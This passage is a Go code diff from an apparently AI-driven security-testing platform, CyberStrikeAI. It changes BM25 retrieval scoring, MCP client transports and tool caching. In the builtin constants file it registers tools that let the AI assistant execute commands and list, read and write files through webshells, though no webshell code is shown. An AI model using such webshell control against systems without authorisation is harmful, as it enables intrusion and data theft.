 func (m *Manager) LogRetrieval(conversationID, messageID, query, riskType string, retrievedItems []string) error {
 	id := uuid.New().String()

internal/knowledge/retriever.go

@@ -69,8 +69,8 @@ func cosineSimilarity(a, b []float32) float64 {
 	return dotProduct / (math.Sqrt(normA) * math.Sqrt(normB))
 }
 
-// bm25Score 计算BM25分数（改进版，更接近标准BM25）
-// 注意：这是单文档版本的BM25，缺少全局IDF，但比之前的简化版本更准确
+// bm25Score 计算 BM25 分数（带缓存的改进版本）
+// 注意：由于缺少全局文档统计，使用简化 IDF 计算
 func (r *Retriever) bm25Score(query, text string) float64 {
 	queryTerms := strings.Fields(strings.ToLower(query))
 	if len(queryTerms) == 0 {
@@ -83,44 +83,56 @@ func (r *Retriever) bm25Score(query, text string) float64 {
 		return 0.0
 	}
 
-	// BM25参数
-	k1 := 1.5             // 词频饱和度参数
-	b := 0.75             // 长度归一化参数
-	avgDocLength := 100.0 // 估算的平均文档长度（用于归一化）
+	// BM25 参数（标准值）
+	k1 := 1.2             // 词频饱和度参数（标准范围 1.2-2.0）
+	b := 0.75             // 长度归一化参数（标准值）
+	avgDocLength := 150.0 // 估算的平均文档长度（基于典型知识块大小）
 	docLength := float64(len(textTerms))
 
-	score := 0.0
-	for _, term := range queryTerms {
-		// 计算词频（TF）
-		termFreq := 0
-		for _, textTerm := range textTerms {
-			if textTerm == term {
-				termFreq++
-			}
-		}
-
-		if termFreq > 0 {
-			// BM25公式的核心部分
-			// TF部分：termFreq / (termFreq + k1 * (1 - b + b * (docLength / avgDocLength)))
-			tf := float64(termFreq)
-			lengthNorm := 1 - b + b*(docLength/avgDocLength)
-			tfScore := tf / (tf + k1*lengthNorm)
-
-			// 简化IDF：使用词长度作为权重（短词通常更重要）
-			// 实际BM25需要全局文档统计，这里用简化版本
-			idfWeight := 1.0
-			if len(term) > 2 {
-				// 长词稍微降低权重（但实际BM25中，罕见词IDF更高）
-				idfWeight = 1.0 + math.Log(1.0+float64(len(term))/10.0)
-			}
-
-			score += tfScore * idfWeight
-		}
+	// 计算词频映射
+	textTermFreq := make(map[string]int, len(textTerms))
+	for _, term := range textTerms {
+		textTermFreq[term]++
 	}
 
-	// 归一化到0-1范围
+	score := 0.0
+	matchedQueryTerms := 0
+
+	for _, term := range queryTerms {
+		termFreq, exists := textTermFreq[term]
+		if !exists || termFreq == 0 {
+			continue
+		}
+		matchedQueryTerms++
+
+		// BM25 TF 计算公式
+		tf := float64(termFreq)
+		lengthNorm := 1 - b + b*(docLength/avgDocLength)
+		tfScore := tf / (tf + k1*lengthNorm)
+
+		// 改进的 IDF 计算：使用词长度和出现频率估算
+		// 短词（2-3 字符）通常更重要，长词 IDF 略低
+		idfWeight := 1.0
+		termLen := len(term)
+		if termLen <= 2 {
+			// 极短词（如 go, js）给予更高权重
+			idfWeight = 1.2 + math.Log(1.0+float64(termFreq)/20.0)
+		} else if termLen <= 4 {
+			// 短词（4 字符）标准权重
+			idfWeight = 1.0 + math.Log(1.0+float64(termFreq)/15.0)
+		} else {
+			// 长词稍微降低权重
+			idfWeight = 0.9 + math.Log(1.0+float64(termFreq)/10.0)
+		}
+
+		score += tfScore * idfWeight
+	}
+
+	// 归一化：考虑匹配的查询词比例
 	if len(queryTerms) > 0 {
-		score = score / float64(len(queryTerms))
+		// 使用匹配比例作为额外因子
+		matchRatio := float64(matchedQueryTerms) / float64(len(queryTerms))
+		score = (score / float64(len(queryTerms))) * (1 + matchRatio) / 2
 	}
 
 	return math.Min(score, 1.0)
@@ -173,7 +185,7 @@ func (r *Retriever) Search(ctx context.Context, req *SearchRequest) ([]*Retrieva
 			SELECT e.id, e.item_id, e.chunk_index, e.chunk_text, e.embedding, i.category, i.title
 			FROM knowledge_embeddings e
 			JOIN knowledge_base_items i ON e.item_id = i.id
-			WHERE i.category = ? COLLATE NOCASE
+			WHERE TRIM(i.category) = TRIM(?) COLLATE NOCASE
 		`, req.RiskType)
 	} else {
 		rows, err = r.db.Query(`
@@ -357,7 +369,10 @@ func (r *Retriever) Search(ctx context.Context, req *SearchRequest) ([]*Retrieva
 			zap.Float64("threshold", threshold),
 			zap.Float64("maxSimilarity", maxSimilarity),
 		)
-	} else if len(filteredCandidates) > topK {
+	}
+
+	// 统一在最终返回前严格限制 Top-K 数量
+	if len(filteredCandidates) > topK {
 		// 如果过滤后结果太多，只取Top-K
 		filteredCandidates = filteredCandidates[:topK]
 	}

internal/knowledge/types.go

@@ -5,6 +5,14 @@ import (
 	"time"
 )
 
+// formatTime 格式化时间为 RFC3339 格式，零时间返回空字符串
+func formatTime(t time.Time) string {
+	if t.IsZero() {
+		return ""
+	}
+	return t.Format(time.RFC3339)
+}
+
 // KnowledgeItem 知识库项
 type KnowledgeItem struct {
 	ID        string    `json:"id"`
@@ -22,12 +30,12 @@ type KnowledgeItemSummary struct {
 	Category  string    `json:"category"`
 	Title     string    `json:"title"`
 	FilePath  string    `json:"filePath"`
-	Content   string    `json:"content,omitempty"` // 可选：内容预览（如果提供，通常只包含前150字符）
+	Content   string    `json:"content,omitempty"` // 可选：内容预览（如果提供，通常只包含前 150 字符）
 	CreatedAt time.Time `json:"createdAt"`
 	UpdatedAt time.Time `json:"updatedAt"`
 }
 
-// MarshalJSON 自定义JSON序列化，确保时间格式正确
+// MarshalJSON 自定义 JSON 序列化，确保时间格式正确
 func (k *KnowledgeItemSummary) MarshalJSON() ([]byte, error) {
 	type Alias KnowledgeItemSummary
 	aux := &struct {
@@ -37,25 +45,12 @@ func (k *KnowledgeItemSummary) MarshalJSON() ([]byte, error) {
 	}{
 		Alias: (*Alias)(k),
 	}
-
-	// 格式化创建时间
-	if k.CreatedAt.IsZero() {
-		aux.CreatedAt = ""
-	} else {
-		aux.CreatedAt = k.CreatedAt.Format(time.RFC3339)
-	}
-
-	// 格式化更新时间
-	if k.UpdatedAt.IsZero() {
-		aux.UpdatedAt = ""
-	} else {
-		aux.UpdatedAt = k.UpdatedAt.Format(time.RFC3339)
-	}
-
+	aux.CreatedAt = formatTime(k.CreatedAt)
+	aux.UpdatedAt = formatTime(k.UpdatedAt)
 	return json.Marshal(aux)
 }
 
-// MarshalJSON 自定义JSON序列化，确保时间格式正确
+// MarshalJSON 自定义 JSON 序列化，确保时间格式正确
 func (k *KnowledgeItem) MarshalJSON() ([]byte, error) {
 	type Alias KnowledgeItem
 	aux := &struct {
@@ -65,21 +60,8 @@ func (k *KnowledgeItem) MarshalJSON() ([]byte, error) {
 	}{
 		Alias: (*Alias)(k),
 	}
-
-	// 格式化创建时间
-	if k.CreatedAt.IsZero() {
-		aux.CreatedAt = ""
-	} else {
-		aux.CreatedAt = k.CreatedAt.Format(time.RFC3339)
-	}
-
-	// 格式化更新时间
-	if k.UpdatedAt.IsZero() {
-		aux.UpdatedAt = ""
-	} else {
-		aux.UpdatedAt = k.UpdatedAt.Format(time.RFC3339)
-	}
-
+	aux.CreatedAt = formatTime(k.CreatedAt)
+	aux.UpdatedAt = formatTime(k.UpdatedAt)
 	return json.Marshal(aux)
 }
 
@@ -89,7 +71,7 @@ type KnowledgeChunk struct {
 	ItemID     string    `json:"itemId"`
 	ChunkIndex int       `json:"chunkIndex"`
 	ChunkText  string    `json:"chunkText"`
-	Embedding  []float32 `json:"-"` // 向量嵌入，不序列化到JSON
+	Embedding  []float32 `json:"-"` // 向量嵌入，不序列化到 JSON
 	CreatedAt  time.Time `json:"createdAt"`
 }
 
@@ -108,11 +90,11 @@ type RetrievalLog struct {
 	MessageID      string    `json:"messageId,omitempty"`
 	Query          string    `json:"query"`
 	RiskType       string    `json:"riskType,omitempty"`
-	RetrievedItems []string  `json:"retrievedItems"` // 检索到的知识项ID列表
+	RetrievedItems []string  `json:"retrievedItems"` // 检索到的知识项 ID 列表
 	CreatedAt      time.Time `json:"createdAt"`
 }
 
-// MarshalJSON 自定义JSON序列化，确保时间格式正确
+// MarshalJSON 自定义 JSON 序列化，确保时间格式正确
 func (r *RetrievalLog) MarshalJSON() ([]byte, error) {
 	type Alias RetrievalLog
 	return json.Marshal(&struct {
@@ -120,21 +102,21 @@ func (r *RetrievalLog) MarshalJSON() ([]byte, error) {
 		CreatedAt string `json:"createdAt"`
 	}{
 		Alias:     (*Alias)(r),
-		CreatedAt: r.CreatedAt.Format(time.RFC3339),
+		CreatedAt: formatTime(r.CreatedAt),
 	})
 }
 
 // CategoryWithItems 分类及其下的知识项（用于按分类分页）
 type CategoryWithItems struct {
-	Category string                `json:"category"`           // 分类名称
-	ItemCount int                  `json:"itemCount"`          // 该分类下的知识项总数
-	Items     []*KnowledgeItemSummary `json:"items"`          // 该分类下的知识项列表
+	Category  string                `json:"category"`           // 分类名称
+	ItemCount int                   `json:"itemCount"`          // 该分类下的知识项总数
+	Items     []*KnowledgeItemSummary `json:"items"`            // 该分类下的知识项列表
 }
 
 // SearchRequest 搜索请求
 type SearchRequest struct {
 	Query     string  `json:"query"`
 	RiskType  string  `json:"riskType,omitempty"`  // 可选：指定风险类型
-	TopK      int     `json:"topK,omitempty"`      // 返回Top-K结果，默认5
-	Threshold float64 `json:"threshold,omitempty"` // 相似度阈值，默认0.7
+	TopK      int     `json:"topK,omitempty"`      // 返回 Top-K 结果，默认 5
+	Threshold float64 `json:"threshold,omitempty"` // 相似度阈值，默认 0.7
 }

internal/logger/logger.go

@@ -55,6 +55,14 @@ func New(level, output string) *Logger {
 }
 
 func (l *Logger) Fatal(msg string, fields ...interface{}) {
-	l.Logger.Fatal(msg, zap.Any("fields", fields))
+    zapFields := make([]zap.Field, 0, len(fields))
+    for _, f := range fields {
+        switch v := f.(type) {
+        case error:
+            zapFields = append(zapFields, zap.Error(v))
+        default:
+            zapFields = append(zapFields, zap.Any("field", v))
+        }
+    }
+    l.Logger.Fatal(msg, zapFields...)
 }
-

internal/mcp/builtin/constants.go

@@ -13,6 +13,12 @@ const (
 	// Skills工具
 	ToolListSkills    = "list_skills"
 	ToolReadSkill     = "read_skill"
+
+	// WebShell 助手工具（AI 在 WebShell 管理 - AI 助手 中使用）
+	ToolWebshellExec       = "webshell_exec"
+	ToolWebshellFileList   = "webshell_file_list"
+	ToolWebshellFileRead   = "webshell_file_read"
+	ToolWebshellFileWrite  = "webshell_file_write"
 )
 
 // IsBuiltinTool 检查工具名称是否是内置工具
@@ -22,7 +28,11 @@ func IsBuiltinTool(toolName string) bool {
 		ToolListKnowledgeRiskTypes,
 		ToolSearchKnowledgeBase,
 		ToolListSkills,
-		ToolReadSkill:
+		ToolReadSkill,
+		ToolWebshellExec,
+		ToolWebshellFileList,
+		ToolWebshellFileRead,
+		ToolWebshellFileWrite:
 		return true
 	default:
 		return false
@@ -37,5 +47,9 @@ func GetAllBuiltinTools() []string {
 		ToolSearchKnowledgeBase,
 		ToolListSkills,
 		ToolReadSkill,
+		ToolWebshellExec,
+		ToolWebshellFileList,
+		ToolWebshellFileRead,
+		ToolWebshellFileWrite,
 	}
 }

internal/mcp/client_sdk.go

@@ -0,0 +1,551 @@
+// Package mcp 外部 MCP 客户端 - 基于官方 go-sdk 实现，保证协议兼容性
+package mcp
+
+import (
+	"bytes"
+	"context"
+	"encoding/json"
+	"fmt"
+	"io"
+	"net/http"
+	"os"
+	"os/exec"
+	"strings"
+	"sync"
+	"time"
+
+	"cyberstrike-ai/internal/config"
+
+	"github.com/google/uuid"
+	"github.com/modelcontextprotocol/go-sdk/mcp"
+	"go.uber.org/zap"
+)
+
+const (
+	clientName    = "CyberStrikeAI"
+	clientVersion = "1.0.0"
+)
+
+// sdkClient 基于官方 MCP Go SDK 的外部 MCP 客户端，实现 ExternalMCPClient 接口
+type sdkClient struct {
+	session *mcp.ClientSession
+	client  *mcp.Client
+	logger  *zap.Logger
+	mu      sync.RWMutex
+	status  string // "disconnected", "connecting", "connected", "error"
+}
+
+// newSDKClientFromSession 用已连接成功的 session 构造（供 createSDKClient 内部使用）
+func newSDKClientFromSession(session *mcp.ClientSession, client *mcp.Client, logger *zap.Logger) *sdkClient {
+	return &sdkClient{
+		session: session,
+		client:  client,
+		logger:  logger,
+		status:  "connected",
+	}
+}
+
+// lazySDKClient 延迟连接：Initialize() 时才调用官方 SDK 建立连接，对外实现 ExternalMCPClient
+type lazySDKClient struct {
+	serverCfg config.ExternalMCPServerConfig
+	logger    *zap.Logger
+	inner     ExternalMCPClient // 连接成功后为 *sdkClient
+	mu        sync.RWMutex
+	status    string
+}
+
+func newLazySDKClient(serverCfg config.ExternalMCPServerConfig, logger *zap.Logger) *lazySDKClient {
+	return &lazySDKClient{
+		serverCfg: serverCfg,
+		logger:    logger,
+		status:    "connecting",
+	}
+}
+
+func (c *lazySDKClient) setStatus(s string) {
+	c.mu.Lock()
+	defer c.mu.Unlock()
+	c.status = s
+}
+
+func (c *lazySDKClient) GetStatus() string {
+	c.mu.RLock()
+	defer c.mu.RUnlock()
+	if c.inner != nil {
+		return c.inner.GetStatus()
+	}
+	return c.status
+}
+
+func (c *lazySDKClient) IsConnected() bool {
+	c.mu.RLock()
+	inner := c.inner
+	c.mu.RUnlock()
+	if inner != nil {
+		return inner.IsConnected()
+	}
+	return false
+}
+
+func (c *lazySDKClient) Initialize(ctx context.Context) error {
+	c.mu.Lock()
+	if c.inner != nil {
+		c.mu.Unlock()
+		return nil
+	}
+	c.mu.Unlock()
+
+	inner, err := createSDKClient(ctx, c.serverCfg, c.logger)
+	if err != nil {
+		c.setStatus("error")
+		return err
+	}
+
+	c.mu.Lock()
+	c.inner = inner
+	c.mu.Unlock()
+	c.setStatus("connected")
+	return nil
+}
+
+func (c *lazySDKClient) ListTools(ctx context.Context) ([]Tool, error) {
+	c.mu.RLock()
+	inner := c.inner
+	c.mu.RUnlock()
+	if inner == nil {
+		return nil, fmt.Errorf("未连接")
+	}
+	return inner.ListTools(ctx)
+}
+
+func (c *lazySDKClient) CallTool(ctx context.Context, name string, args map[string]interface{}) (*ToolResult, error) {
+	c.mu.RLock()
+	inner := c.inner
+	c.mu.RUnlock()
+	if inner == nil {
+		return nil, fmt.Errorf("未连接")
+	}
+	return inner.CallTool(ctx, name, args)
+}
+
+func (c *lazySDKClient) Close() error {
+	c.mu.Lock()
+	inner := c.inner
+	c.inner = nil
+	c.mu.Unlock()
+	c.setStatus("disconnected")
+	if inner != nil {
+		return inner.Close()
+	}
+	return nil
+}
+
+func (c *sdkClient) setStatus(s string) {
+	c.mu.Lock()
+	defer c.mu.Unlock()
+	c.status = s
+}
+
+func (c *sdkClient) GetStatus() string {
+	c.mu.RLock()
+	defer c.mu.RUnlock()
+	return c.status
+}
+
+func (c *sdkClient) IsConnected() bool {
+	return c.GetStatus() == "connected"
+}
+
+func (c *sdkClient) Initialize(ctx context.Context) error {
+	// sdkClient 由 createSDKClient 在 Connect 成功后才创建，因此 Initialize 时已经连接
+	// 此方法仅用于满足 ExternalMCPClient 接口，实际连接在 createSDKClient 中完成
+	return nil
+}
+
+func (c *sdkClient) ListTools(ctx context.Context) ([]Tool, error) {
+	if c.session == nil {
+		return nil, fmt.Errorf("未连接")
+	}
+	res, err := c.session.ListTools(ctx, nil)
+	if err != nil {
+		return nil, err
+	}
+	if res == nil {
+		return nil, nil
+	}
+	return sdkToolsToOur(res.Tools), nil
+}
+
+func (c *sdkClient) CallTool(ctx context.Context, name string, args map[string]interface{}) (*ToolResult, error) {
+	if c.session == nil {
+		return nil, fmt.Errorf("未连接")
+	}
+	params := &mcp.CallToolParams{
+		Name:      name,
+		Arguments: args,
+	}
+	res, err := c.session.CallTool(ctx, params)
+	if err != nil {
+		return nil, err
+	}
+	return sdkCallToolResultToOurs(res), nil
+}
+
+func (c *sdkClient) Close() error {
+	c.setStatus("disconnected")
+	if c.session != nil {
+		err := c.session.Close()
+		c.session = nil
+		return err
+	}
+	return nil
+}
+
+// sdkToolsToOur 将 SDK 的 []*mcp.Tool 转为我们的 []Tool
+func sdkToolsToOur(tools []*mcp.Tool) []Tool {
+	if len(tools) == 0 {
+		return nil
+	}
+	out := make([]Tool, 0, len(tools))
+	for _, t := range tools {
+		if t == nil {
+			continue
+		}
+		schema := make(map[string]interface{})
+		if t.InputSchema != nil {
+			// SDK InputSchema 可能为 *jsonschema.Schema 或 map，统一转为 map
+			if m, ok := t.InputSchema.(map[string]interface{}); ok {
+				schema = m
+			} else {
+				_ = json.Unmarshal(mustJSON(t.InputSchema), &schema)
+			}
+		}
+		desc := t.Description
+		shortDesc := desc
+		if t.Annotations != nil && t.Annotations.Title != "" {
+			shortDesc = t.Annotations.Title
+		}
+		out = append(out, Tool{
+			Name:             t.Name,
+			Description:      desc,
+			ShortDescription: shortDesc,
+			InputSchema:      schema,
+		})
+	}
+	return out
+}
+
+// sdkCallToolResultToOurs 将 SDK 的 *mcp.CallToolResult 转为我们的 *ToolResult
+func sdkCallToolResultToOurs(res *mcp.CallToolResult) *ToolResult {
+	if res == nil {
+		return &ToolResult{Content: []Content{}}
+	}
+	content := sdkContentToOurs(res.Content)
+	return &ToolResult{
+		Content: content,
+		IsError: res.IsError,
+	}
+}
+
+func sdkContentToOurs(list []mcp.Content) []Content {
+	if len(list) == 0 {
+		return nil
+	}
+	out := make([]Content, 0, len(list))
+	for _, c := range list {
+		switch v := c.(type) {
+		case *mcp.TextContent:
+			out = append(out, Content{Type: "text", Text: v.Text})
+		default:
+			out = append(out, Content{Type: "text", Text: fmt.Sprintf("%v", c)})
+		}
+	}
+	return out
+}
+
+func mustJSON(v interface{}) []byte {
+	b, _ := json.Marshal(v)
+	return b
+}
+
+// simpleHTTPClient 简单 JSON-RPC over HTTP：每次请求一次 POST、响应在 body。实现 ExternalMCPClient。
+// 用于自建 MCP（如 http://127.0.0.1:8081/mcp）或其它仅支持简单 POST 的端点。
+type simpleHTTPClient struct {
+	url    string
+	client *http.Client
+	logger *zap.Logger
+	mu     sync.RWMutex
+	status string
+}
+
+func newSimpleHTTPClient(ctx context.Context, url string, timeout time.Duration, headers map[string]string, logger *zap.Logger) (ExternalMCPClient, error) {
+	c := &simpleHTTPClient{
+		url:    url,
+		client: httpClientWithTimeoutAndHeaders(timeout, headers),
+		logger: logger,
+		status: "connecting",
+	}
+	if err := c.initialize(ctx); err != nil {
+		return nil, err
+	}
+	c.mu.Lock()
+	c.status = "connected"
+	c.mu.Unlock()
+	return c, nil
+}
+
+func (c *simpleHTTPClient) setStatus(s string) {
+	c.mu.Lock()
+	defer c.mu.Unlock()
+	c.status = s
+}
+
+func (c *simpleHTTPClient) GetStatus() string {
+	c.mu.RLock()
+	defer c.mu.RUnlock()
+	return c.status
+}
+
+func (c *simpleHTTPClient) IsConnected() bool {
+	return c.GetStatus() == "connected"
+}
+
+func (c *simpleHTTPClient) Initialize(context.Context) error {
+	return nil // 已在 newSimpleHTTPClient 中完成
+}
+
+func (c *simpleHTTPClient) initialize(ctx context.Context) error {
+	params := InitializeRequest{
+		ProtocolVersion: ProtocolVersion,
+		Capabilities:    make(map[string]interface{}),
+		ClientInfo:      ClientInfo{Name: clientName, Version: clientVersion},
+	}
+	paramsJSON, _ := json.Marshal(params)
+	req := &Message{
+		ID:      MessageID{value: "1"},
+		Method:  "initialize",
+		Version: "2.0",
+		Params:  paramsJSON,
+	}
+	resp, err := c.sendRequest(ctx, req)
+	if err != nil {
+		return fmt.Errorf("initialize: %w", err)
+	}
+	if resp.Error != nil {
+		return fmt.Errorf("initialize: %s (code %d)", resp.Error.Message, resp.Error.Code)
+	}
+	// 发送 notifications/initialized（协议要求）
+	notify := &Message{
+		ID:      MessageID{value: nil},
+		Method:  "notifications/initialized",
+		Version: "2.0",
+		Params:  json.RawMessage("{}"),
+	}
+	_ = c.sendNotification(notify)
+	return nil
+}
+
+func (c *simpleHTTPClient) sendRequest(ctx context.Context, msg *Message) (*Message, error) {
+	body, err := json.Marshal(msg)
+	if err != nil {
+		return nil, err
+	}
+	httpReq, err := http.NewRequestWithContext(ctx, http.MethodPost, c.url, bytes.NewReader(body))
+	if err != nil {
+		return nil, err
+	}
+	httpReq.Header.Set("Content-Type", "application/json")
+	resp, err := c.client.Do(httpReq)
+	if err != nil {
+		return nil, err
+	}
+	defer resp.Body.Close()
+	if resp.StatusCode != http.StatusOK {
+		b, _ := io.ReadAll(resp.Body)
+		return nil, fmt.Errorf("HTTP %d: %s", resp.StatusCode, string(b))
+	}
+	var out Message
+	if err := json.NewDecoder(resp.Body).Decode(&out); err != nil {
+		return nil, err
+	}
+	return &out, nil
+}
+
+func (c *simpleHTTPClient) sendNotification(msg *Message) error {
+	body, _ := json.Marshal(msg)
+	ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
+	defer cancel()
+	httpReq, _ := http.NewRequestWithContext(ctx, http.MethodPost, c.url, bytes.NewReader(body))
+	httpReq.Header.Set("Content-Type", "application/json")
+	resp, err := c.client.Do(httpReq)
+	if err != nil {
+		return err
+	}
+	resp.Body.Close()
+	return nil
+}
+
+func (c *simpleHTTPClient) ListTools(ctx context.Context) ([]Tool, error) {
+	req := &Message{
+		ID:      MessageID{value: uuid.New().String()},
+		Method:  "tools/list",
+		Version: "2.0",
+		Params:  json.RawMessage("{}"),
+	}
+	resp, err := c.sendRequest(ctx, req)
+	if err != nil {
+		return nil, err
+	}
+	if resp.Error != nil {
+		return nil, fmt.Errorf("tools/list: %s (code %d)", resp.Error.Message, resp.Error.Code)
+	}
+	var listResp ListToolsResponse
+	if err := json.Unmarshal(resp.Result, &listResp); err != nil {
+		return nil, err
+	}
+	return listResp.Tools, nil
+}
+
+func (c *simpleHTTPClient) CallTool(ctx context.Context, name string, args map[string]interface{}) (*ToolResult, error) {
+	params := CallToolRequest{Name: name, Arguments: args}
+	paramsJSON, _ := json.Marshal(params)
+	req := &Message{
+		ID:      MessageID{value: uuid.New().String()},
+		Method:  "tools/call",
+		Version: "2.0",
+		Params:  paramsJSON,
+	}
+	resp, err := c.sendRequest(ctx, req)
+	if err != nil {
+		return nil, err
+	}
+	if resp.Error != nil {
+		return nil, fmt.Errorf("tools/call: %s (code %d)", resp.Error.Message, resp.Error.Code)
+	}
+	var callResp CallToolResponse
+	if err := json.Unmarshal(resp.Result, &callResp); err != nil {
+		return nil, err
+	}
+	return &ToolResult{Content: callResp.Content, IsError: callResp.IsError}, nil
+}
+
+func (c *simpleHTTPClient) Close() error {
+	c.setStatus("disconnected")
+	return nil
+}
+
+// createSDKClient 根据配置创建并连接外部 MCP 客户端（使用官方 SDK），返回实现 ExternalMCPClient 的 *sdkClient
+// 若连接失败返回 (nil, error)。ctx 用于连接超时与取消。
+func createSDKClient(ctx context.Context, serverCfg config.ExternalMCPServerConfig, logger *zap.Logger) (ExternalMCPClient, error) {
+	timeout := time.Duration(serverCfg.Timeout) * time.Second
+	if timeout <= 0 {
+		timeout = 30 * time.Second
+	}
+
+	transport := serverCfg.Transport
+	if transport == "" {
+		if serverCfg.Command != "" {
+			transport = "stdio"
+		} else if serverCfg.URL != "" {
+			transport = "http"
+		} else {
+			return nil, fmt.Errorf("配置缺少 command 或 url")
+		}
+	}
+
+	client := mcp.NewClient(&mcp.Implementation{
+		Name:    clientName,
+		Version: clientVersion,
+	}, nil)
+
+	var t mcp.Transport
+	switch transport {
+	case "stdio":
+		if serverCfg.Command == "" {
+			return nil, fmt.Errorf("stdio 模式需要配置 command")
+		}
+		// 必须用 exec.Command 而非 CommandContext：doConnect 返回后 ctx 会被 cancel，
+		// 若用 CommandContext(ctx) 会立刻杀掉子进程，导致 ListTools 等后续请求失败、显示 0 工具
+		cmd := exec.Command(serverCfg.Command, serverCfg.Args...)
+		if len(serverCfg.Env) > 0 {
+			cmd.Env = append(cmd.Env, envMapToSlice(serverCfg.Env)...)
+		}
+		t = &mcp.CommandTransport{Command: cmd}
+	case "sse":
+		if serverCfg.URL == "" {
+			return nil, fmt.Errorf("sse 模式需要配置 url")
+		}
+		httpClient := httpClientWithTimeoutAndHeaders(timeout, serverCfg.Headers)
+		t = &mcp.SSEClientTransport{
+			Endpoint:   serverCfg.URL,
+			HTTPClient: httpClient,
+		}
+	case "http":
+		if serverCfg.URL == "" {
+			return nil, fmt.Errorf("http 模式需要配置 url")
+		}
+		httpClient := httpClientWithTimeoutAndHeaders(timeout, serverCfg.Headers)
+		t = &mcp.StreamableClientTransport{
+			Endpoint:   serverCfg.URL,
+			HTTPClient: httpClient,
+		}
+	case "simple_http":
+		// 简单 JSON-RPC HTTP：每次请求一次 POST、响应在 body。用于自建 MCP 或兼容旧端点（如 http://127.0.0.1:8081/mcp）
+		if serverCfg.URL == "" {
+			return nil, fmt.Errorf("simple_http 模式需要配置 url")
+		}
+		return newSimpleHTTPClient(ctx, serverCfg.URL, timeout, serverCfg.Headers, logger)
+	default:
+		return nil, fmt.Errorf("不支持的传输模式: %s", transport)
+	}
+
+	session, err := client.Connect(ctx, t, nil)
+	if err != nil {
+		return nil, fmt.Errorf("连接失败: %w", err)
+	}
+
+	return newSDKClientFromSession(session, client, logger), nil
+}
+
+func envMapToSlice(env map[string]string) []string {
+	m := make(map[string]string)
+	for _, s := range os.Environ() {
+		if i := strings.IndexByte(s, '='); i > 0 {
+			m[s[:i]] = s[i+1:]
+		}
+	}
+	for k, v := range env {
+		m[k] = v
+	}
+	out := make([]string, 0, len(m))
+	for k, v := range m {
+		out = append(out, k+"="+v)
+	}
+	return out
+}
+
+func httpClientWithTimeoutAndHeaders(timeout time.Duration, headers map[string]string) *http.Client {
+	transport := http.DefaultTransport
+	if len(headers) > 0 {
+		transport = &headerRoundTripper{
+			headers: headers,
+			base:    http.DefaultTransport,
+		}
+	}
+	return &http.Client{
+		Timeout:   timeout,
+		Transport: transport,
+	}
+}
+
+type headerRoundTripper struct {
+	headers map[string]string
+	base    http.RoundTripper
+}
+
+func (h *headerRoundTripper) RoundTrip(req *http.Request) (*http.Response, error) {
+	for k, v := range h.headers {
+		req.Header.Set(k, v)
+	}
+	return h.base.RoundTrip(req)
+}

internal/mcp/external_manager.go

@@ -25,6 +25,8 @@ type ExternalMCPManager struct {
 	errors       map[string]string         // 错误信息
 	toolCounts   map[string]int            // 工具数量缓存
 	toolCountsMu sync.RWMutex              // 工具数量缓存的锁
+	toolCache    map[string][]Tool         // 工具列表缓存：MCP名称 -> 工具列表
+	toolCacheMu  sync.RWMutex              // 工具列表缓存的锁
 	stopRefresh  chan struct{}             // 停止后台刷新的信号
 	refreshWg    sync.WaitGroup            // 等待后台刷新goroutine完成
 	mu           sync.RWMutex
@@ -46,6 +48,7 @@ func NewExternalMCPManagerWithStorage(logger *zap.Logger, storage MonitorStorage
 		stats:       make(map[string]*ToolStats),
 		errors:      make(map[string]string),
 		toolCounts:  make(map[string]int),
+		toolCache:   make(map[string][]Tool),
 		stopRefresh: make(chan struct{}),
 	}
 	// 启动后台刷新工具数量的goroutine
@@ -119,6 +122,11 @@ func (m *ExternalMCPManager) RemoveConfig(name string) error {
 	delete(m.toolCounts, name)
 	m.toolCountsMu.Unlock()
 
+	// 清理工具列表缓存
+	m.toolCacheMu.Lock()
+	delete(m.toolCache, name)
+	m.toolCacheMu.Unlock()
+
 	return nil
 }
 
@@ -196,8 +204,15 @@ func (m *ExternalMCPManager) StartClient(name string) error {
 			m.mu.Lock()
 			delete(m.errors, name)
 			m.mu.Unlock()
-			// 连接成功，立即刷新工具数量
+			// 立即刷新工具数量和工具列表缓存
 			m.triggerToolCountRefresh()
+			m.refreshToolCache(name, client)
+			// 2 秒后再刷新一次，覆盖 SSE/Streamable 等需稍等就绪的远端
+			go func() {
+				time.Sleep(2 * time.Second)
+				m.triggerToolCountRefresh()
+				m.refreshToolCache(name, client)
+			}()
 		}
 	}()
 
@@ -253,6 +268,11 @@ func (m *ExternalMCPManager) GetError(name string) string {
 }
 
 // GetAllTools 获取所有外部MCP的工具
+// 优先从已连接的客户端获取，如果连接断开则返回缓存的工具列表
+// 策略：
+//   - error 状态：不使用缓存，直接跳过（配置错误或服务不可用）
+//   - disconnected/connecting 状态：使用缓存（临时断开）
+//   - connected 状态：正常获取，失败时降级使用缓存
 func (m *ExternalMCPManager) GetAllTools(ctx context.Context) ([]Tool, error) {
 	m.mu.RLock()
 	clients := make(map[string]ExternalMCPClient)
@@ -262,17 +282,21 @@ func (m *ExternalMCPManager) GetAllTools(ctx context.Context) ([]Tool, error) {
 	m.mu.RUnlock()
 
 	var allTools []Tool
-	for name, client := range clients {
-		if !client.IsConnected() {
-			continue
-		}
+	var hasError bool
+	var lastError error
 
-		tools, err := client.ListTools(ctx)
+	// 使用较短的超时时间进行快速检查（3秒），避免阻塞
+	quickCtx, quickCancel := context.WithTimeout(ctx, 3*time.Second)
+	defer quickCancel()
+
+	for name, client := range clients {
+		tools, err := m.getToolsForClient(name, client, quickCtx)
 		if err != nil {
-			m.logger.Warn("获取外部MCP工具列表失败",
-				zap.String("name", name),
-				zap.Error(err),
-			)
+			// 记录错误，但继续处理其他客户端
+			hasError = true
+			if lastError == nil {
+				lastError = err
+			}
 			continue
 		}
 
@@ -283,9 +307,97 @@ func (m *ExternalMCPManager) GetAllTools(ctx context.Context) ([]Tool, error) {
 		}
 	}
 
+	// 如果有错误但至少返回了一些工具，不返回错误（部分成功）
+	if hasError && len(allTools) == 0 {
+		return nil, fmt.Errorf("获取外部MCP工具失败: %w", lastError)
+	}
+
 	return allTools, nil
 }
 
+// getToolsForClient 获取指定客户端的工具列表
+// 返回工具列表和错误（如果完全无法获取）
+func (m *ExternalMCPManager) getToolsForClient(name string, client ExternalMCPClient, ctx context.Context) ([]Tool, error) {
+	status := client.GetStatus()
+
+	// error 状态：不使用缓存，直接返回错误
+	if status == "error" {
+		m.logger.Debug("跳过连接失败的外部MCP（不使用缓存）",
+			zap.String("name", name),
+			zap.String("status", status),
+		)
+		return nil, fmt.Errorf("外部MCP连接失败: %s", name)
+	}
+
